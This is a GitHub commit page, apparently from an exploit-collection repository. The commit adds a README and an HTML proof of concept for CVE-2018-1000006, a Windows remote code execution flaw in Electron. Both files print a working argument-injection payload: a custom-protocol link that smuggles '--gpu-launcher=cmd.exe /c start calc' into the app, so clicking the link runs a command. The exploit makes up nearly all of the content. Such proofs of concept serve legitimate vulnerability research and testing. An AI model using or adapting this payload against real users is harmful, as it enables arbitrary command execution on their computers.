Skip to content

Commit

Permalink
add Electron RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
Mr5m1th committed Jan 28, 2018
1 parent 309b5fa commit feb35f0
Show file tree
Hide file tree
Showing 2 changed files with 24 additions and 0 deletions.
16 changes: 16 additions & 0 deletions CMS/Electron/CVE-2018-1000006/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# Electron<v.1.8.2-beta.4 RCE - CVE-2018-1000006 only for windows

## Reference
* [https://xianzhi.aliyun.com/forum/topic/1990](https://xianzhi.aliyun.com/forum/topic/1990)
* [https://electronjs.org/blog/protocol-handler-fix](https://electronjs.org/blog/protocol-handler-fix)

## Payload
```
chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc
当用户点击poc.html会执行命令
```
## 复现

* p师傅的项目里面有复现环境,git地址[https://github.com/vulhub/vulhub.git][https://github.com/vulhub/vulhub.git]


8 changes: 8 additions & 0 deletions CMS/Electron/CVE-2018-1000006/poc.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<html>
<head>
POC for CVE-2018-1000006
</head>
<body>
<a class="protocol" href='chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc</h3></a>
</body>
</html>

0 comments on commit feb35f0

Please sign in to comment.